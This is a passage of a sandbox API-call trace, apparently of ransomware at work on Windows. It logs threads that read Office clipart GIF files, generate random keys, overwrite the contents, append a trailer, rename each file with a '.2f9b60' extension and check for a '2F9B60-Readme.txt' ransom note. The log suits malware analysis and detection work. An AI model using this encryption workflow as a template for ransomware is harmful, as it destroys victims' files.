(in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="ac") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="7f") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="b5") returned 2 [0122.953] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="cf") returned 2 [0122.953] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="33") returned 2 [0122.953] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="08") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="05") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="27") returned 2 [0122.954] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="0c") returned 2 [0122.954] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="05") returned 2 [0122.954] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="e7") returned 2 [0122.954] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="9c") returned 2 [0122.954] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="ca") returned 2 [0122.954] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="ca") returned 2 [0122.954] RtlInitAnsiString (in: DestinationString=0x3af9fae8, SourceString="42bbfbf5d60dfa3b78d2ac7fb5cf330805270c05e79ccaca" | out: DestinationString="42bbfbf5d60dfa3b78d2ac7fb5cf330805270c05e79ccaca") [0122.954] RtlAnsiStringToUnicodeString (in: DestinationString=0x3af9fab8, SourceString="42bbfbf5d60dfa3b78d2ac7fb5cf330805270c05e79ccaca", AllocateDestinationString=1 | out: DestinationString="42bbfbf5d60dfa3b78d2ac7fb5cf330805270c05e79ccaca") returned 0x0 [0122.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9630 [0122.954] wcscat (in: _Dest=0x1cd653f0, _Source="42bbfbf5d60d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\42bbfbf5d60d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\42bbfbf5d60d" [0122.954] wcscat (in: _Dest=0x1cd653f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\42bbfbf5d60d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\42bbfbf5d60d.2f9b60" [0122.954] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\42bbfbf5d60d.2f9b60", NtPathName=0x3af9fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\42bbfbf5d60d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118c90 [0123.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118c90) returned 1 [0123.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49850) returned 1 [0123.330] NtQueryInformationFile (in: FileHandle=0x10bc, IoStatusBlock=0x3af9faf8, FileInformation=0x3af9fb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3af9faf8, FileInformation=0x3af9fb08) returned 0x0 [0123.330] NtSetInformationFile (FileHandle=0x10bc, IoStatusBlock=0x3af9faf8, FileInformation=0x3af9fb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd653f0) returned 1 [0123.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9630) returned 1 [0123.332] FlushFileBuffers (hFile=0x10bc) returned 1 [0123.338] CloseHandle (hObject=0x10bc) returned 1 [0123.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b7a5860 [0123.339] wcscpy (in: _Dest=0x1b7a5860, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0123.339] wcscat (in: _Dest=0x1b7a5860, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0123.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0123.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5860) returned 1 [0123.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863220) returned 1 Thread: id = 1284 os_tid = 0xdf4 [0116.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif")) returned 0x20 [0120.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", dwFileAttributes=0x20) returned 1 [0120.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10c8 [0120.630] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x3a6bfb00 | out: lpFileSize=0x3a6bfb00*=5626) returned 1 [0120.630] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x15f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.630] ReadFile (in: hFile=0x10c8, lpBuffer=0x3a6bfa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a6bfac8, lpOverlapped=0x0 | out: lpBuffer=0x3a6bfa80*, lpNumberOfBytesRead=0x3a6bfac8*=0x4, lpOverlapped=0x0) returned 1 [0121.087] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6f0 [0121.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0121.087] NtQuerySystemTime (in: CurrentTime=0x3a6bf9c0 | out: CurrentTime=0x3a6bf9c0*=132462177264922000) returned 0x0 [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x315e023e [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x26b14e66 [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x2a4c3b6 [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x52c4013a [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x7460c13c [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x7eb12d89 [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x5ee82081 [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x154fb5cd [0121.087] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x330ff739 [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x9e3c5b2 [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x1d75ffeb [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x21d7d9da [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x3dfd2359 [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x27f54046 [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x4849af4e [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x1631cdc6 [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x47887c92 [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x115ffc5 [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x6c7403e9 [0121.088] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x1d5b9f00 [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0xb3cf9c8 [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x3c39facf [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x1bd1f21c [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x43ec5d2d [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x3296e107 [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x5a70e90b [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x68d40859 [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x4957e9b2 [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x56abafa9 [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x250f2e67 [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x39617290 [0121.089] RtlRandomEx (in: Seed=0x3a6bf9b0 | out: Seed=0x3a6bf9b0) returned 0x1fae1d92 [0121.106] ReadFile (in: hFile=0x10c8, lpBuffer=0x41d8c1b0, nNumberOfBytesToRead=0x15fa, lpNumberOfBytesRead=0x3a6bf9b0, lpOverlapped=0x0 | out: lpBuffer=0x41d8c1b0*, lpNumberOfBytesRead=0x3a6bf9b0*=0x15fa, lpOverlapped=0x0) returned 1 [0122.264] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.264] WriteFile (in: hFile=0x10c8, lpBuffer=0x41edb4e0*, nNumberOfBytesToWrite=0x15fa, lpNumberOfBytesWritten=0x3a6bf9b4, lpOverlapped=0x0 | out: lpBuffer=0x41edb4e0*, lpNumberOfBytesWritten=0x3a6bf9b4*=0x15fa, lpOverlapped=0x0) returned 1 [0122.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0122.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa90 [0122.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa90) returned 1 [0122.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edb4e0) returned 1 [0122.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d8c1b0) returned 1 [0122.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504090) returned 1 [0122.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0122.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fa90 [0122.740] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.740] WriteFile (in: hFile=0x10c8, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a6bfad0, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x3a6bfad0*=0x10a, lpOverlapped=0x0) returned 1 [0122.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6770 [0122.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6770) returned 1 [0122.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6770 [0122.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6950 [0122.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6950) returned 1 [0122.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.970] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="78") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="9a") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="0b") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="11") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="e1") returned 2 [0122.970] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="1e") returned 2 [0122.970] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="42") returned 2 [0122.970] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="0b") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="d5") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="11") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="46") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="36") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="b4") returned 2 [0122.970] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="3d") returned 2 [0122.970] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="7b") returned 2 [0122.970] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="2d") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="ff") returned 2 [0122.970] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="a8") returned 2 [0122.971] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="0b") returned 2 [0122.971] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="ab") returned 2 [0122.971] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="27") returned 2 [0122.971] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="ad") returned 2 [0122.971] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="b9") returned 2 [0122.971] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="49") returned 2 [0122.971] RtlInitAnsiString (in: DestinationString=0x3a6bfb48, SourceString="789a0b11e11e420bd5114636b43d7b2dffa80bab27adb949" | out: DestinationString="789a0b11e11e420bd5114636b43d7b2dffa80bab27adb949") [0122.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a6bfb18, SourceString="789a0b11e11e420bd5114636b43d7b2dffa80bab27adb949", AllocateDestinationString=1 | out: DestinationString="789a0b11e11e420bd5114636b43d7b2dffa80bab27adb949") returned 0x0 [0122.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8fa0 [0122.971] wcscat (in: _Dest=0x1cd65550, _Source="789a0b11e11e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\789a0b11e11e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\789a0b11e11e" [0122.971] wcscat (in: _Dest=0x1cd65550, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\789a0b11e11e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\789a0b11e11e.2f9b60" [0122.971] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\789a0b11e11e.2f9b60", NtPathName=0x3a6bfaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\789a0b11e11e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119310 [0123.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119310) returned 1 [0123.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecbe80) returned 1 [0123.214] NtQueryInformationFile (in: FileHandle=0x10c8, IoStatusBlock=0x3a6bfb58, FileInformation=0x3a6bfb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a6bfb58, FileInformation=0x3a6bfb68) returned 0x0 [0123.214] NtSetInformationFile (FileHandle=0x10c8, IoStatusBlock=0x3a6bfb58, FileInformation=0x3a6bfb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65550) returned 1 [0123.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8fa0) returned 1 [0123.229] FlushFileBuffers (hFile=0x10c8) returned 1 [0123.233] CloseHandle (hObject=0x10c8) returned 1 [0123.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd64fd0 [0123.263] wcscpy (in: _Dest=0x1cd64fd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0123.263] wcscat (in: _Dest=0x1cd64fd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0123.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0123.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64fd0) returned 1 [0123.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863170) returned 1 Thread: id = 1285 os_tid = 0xf20 [0116.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif")) returned 0x20 [0120.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", dwFileAttributes=0x20) returned 1 [0120.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10cc [0120.628] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x3aecf8a0 | out: lpFileSize=0x3aecf8a0*=1409) returned 1 [0120.628] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x57d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.628] ReadFile (in: hFile=0x10cc, lpBuffer=0x3aecf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3aecf868, lpOverlapped=0x0 | out: lpBuffer=0x3aecf820*, lpNumberOfBytesRead=0x3aecf868*=0x4, lpOverlapped=0x0) returned 1 [0120.851] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a68c0 [0120.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0120.851] NtQuerySystemTime (in: CurrentTime=0x3aecf760 | out: CurrentTime=0x3aecf760*=132462177262426000) returned 0x0 [0120.851] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x1f9e4b60 [0120.851] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x7c24c3e5 [0120.851] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x1fc4709c [0120.851] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x2da2a2c0 [0120.851] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x185d7114 [0120.851] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x1d75ffeb [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x5c44615d [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x496e0c58 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x5caee296 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x2f1382df [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x30d6f9ac [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x76baf010 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x261a8900 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x45c1eb7b [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x14b1a6af [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x8c5e697 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x5343c9fd [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x324af2a6 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x6efbd60f [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x6215c924 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x28d71a45 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x4383bb57 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x7e3e5121 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x756bfa28 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x627fa525 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x79764bd9 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x25c4d780 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x5868366 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x57dca660 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x13b25553 [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x1a77db2e [0120.852] RtlRandomEx (in: Seed=0x3aecf750 | out: Seed=0x3aecf750) returned 0x6f47a415 [0120.862] ReadFile (in: hFile=0x10cc, lpBuffer=0x41f485a0, nNumberOfBytesToRead=0x581, lpNumberOfBytesRead=0x3aecf750, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesRead=0x3aecf750*=0x581, lpOverlapped=0x0) returned 1 [0120.862] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.862] WriteFile (in: hFile=0x10cc, lpBuffer=0x41f35950*, nNumberOfBytesToWrite=0x581, lpNumberOfBytesWritten=0x3aecf754, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesWritten=0x3aecf754*=0x581, lpOverlapped=0x0) returned 1 [0122.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0122.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0122.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263680) returned 1 [0122.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0122.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0122.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0122.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0122.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263680 [0122.199] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.199] WriteFile (in: hFile=0x10cc, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3aecf870, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x3aecf870*=0x10a, lpOverlapped=0x0) returned 1 [0122.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0122.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0122.956] RtlAllocateHeap 